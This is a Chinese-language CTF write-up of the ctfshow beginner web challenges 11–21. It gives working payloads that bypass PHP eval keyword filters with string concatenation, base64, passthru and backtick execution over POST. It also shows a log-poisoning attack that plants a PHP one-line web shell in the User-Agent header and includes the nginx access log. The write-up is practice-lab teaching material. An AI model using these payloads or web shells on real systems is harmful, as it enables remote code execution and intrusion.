ctfshow萌新web11-21
写在前面
接上篇文章:https://plumstar.cn/2022/04/30/ctfshow-meng-xin-web1-10/
web11
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){ //过滤掉了system exec hightlight cat四个函数,想办法绕过
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里依旧使用web10的多重定义的办法,同时使用转义符绕过cat过滤,payload为
?c=$a='sys';$b='tem';$d=$a.$b;$d('ls'); //查看当前目录下文件
?c=$a='sys';$b='tem';$d=$a.$b;$d('ca\t config.php');
同样也是右键源码查看flag
web12
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
看到这里将system|exec|highlight|cat|\.|php|config
均送上了ban位,需要找寻其他的办法。
在前面学习RCE的笔记中,我写到了一个函数passthru
,跟system函数效果一样,执行外部程序并且显示原始输出。
还是在config.php中存有flag 我们需要构造paylaod来绕过过滤,因为无法出现config.php这三个字符,考虑编码进行绕过,这里我选择base64进行编码,需要用到base64_decode函数来进行解码
config.php的base64编码结果为Y29uZmlnLnBocA== payload中使用base64_decode进行解码 payload为
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("more $a"); //more:一页一页的显示档案内容,这里的效果就是一页一页的显示解码后的$a变量,即config.php
web13
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
过滤代码加上了分号和file 无法使用分号进行语句闭合,但是在php中还有可以进行闭合的符号,例如<??>
也可以进行闭合操作
?c=passthru('ls')?>
payload跟web12类似,还是使用base64进行编码绕过,只不过不使用分号进行语句闭合
?c=$a=base64_decode('Y29uZmlnLnBocA==')?><?passthru("more $a")?>
web14
在web13的基础上加上了括号,那么感觉绕过有点难了。从请求方法中想办法,可以看到源码中只提到了对GET请求进行过滤,那么POST请求并未进行涉及,我们可以在这方面做文章
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
如何将GET请求转换为POST请求呢,首先反引号和?>
并未被阻止,所以我们可以使用下面的payload
进行POST输入
?c=echo `$_POST[a]`?> // payload中的函数均为被过滤,所以该语句执行成功
那么当我们再去通过POST执行命令就不会有任何限制,绕过了对GET命令的过滤
同样是在config.php文件中的flag,直接访问即可,记得flag是在源代码中
web15
把>
过滤掉了但是分号没过滤,很异或。跟web14一样,只是把?>
换成;
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
payload为
?c=echo `$_POST[a]`; //然后POST进行传入命令即可
?a=cat config.php
然后源代码查看即可
web16
16题没看懂考了啥,源代码长这样,看起来是要解密一个md5编码。传入参数c,使得ctfshow$c的md5
值等于后面,然后输出flag
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>
解密就行了,随便找个小网站,解出这一串md5值为ctfshow36d
,payload为?c=36d
即可得到flag
web17
没看懂,看了大佬的wp才看明白,也是之前没接触过的日志包含https://blog.csdn.net/qq_45829213/article/details/113878509
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
出现了include($c)
这个函数,想到了include文件包含,但是也没想到有什么办法进行利用,随便传入参数看一眼有什么信息,没什么有用的信息,给出了几个路径,到这我也没想到,burp抓包发现是nginx时,才意识到可以include包含一下日志文件尝试一下
传入参数?c=/var/log/nginx/access.log
,利用include对其进行包含,查看日志文件,发现User-Agent被记录在日志文件中
那么我们在User-Agent写入我们的木马或者命令,尝试通过include进行包含
放包,在日志文件中查找有关信息,发现多处36d.php和index.php,那么flag很有可能在36d.php中
接着使用同样的方法在User-Agent中写入<?php echo system("cat 36d.php");?>
即可找到flag,这是第一种方法,但是由于环境的原因,如果你失败一次就需要重新刷新环境,我是直接写入一句话木马蚁剑链接找flag
数据包为(即payload)
GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 65c433d7-5db6-43eb-866f-48599612699c.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 <?php eval($_POST['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
web18-web21
web18-web21都可以使用17关的payload,只是加了一些过滤而已,但是对payload无影响。
web18:加了一个过滤的file
web19:过滤代码加了base
web20:加了rot
过滤
web21:加了\
过滤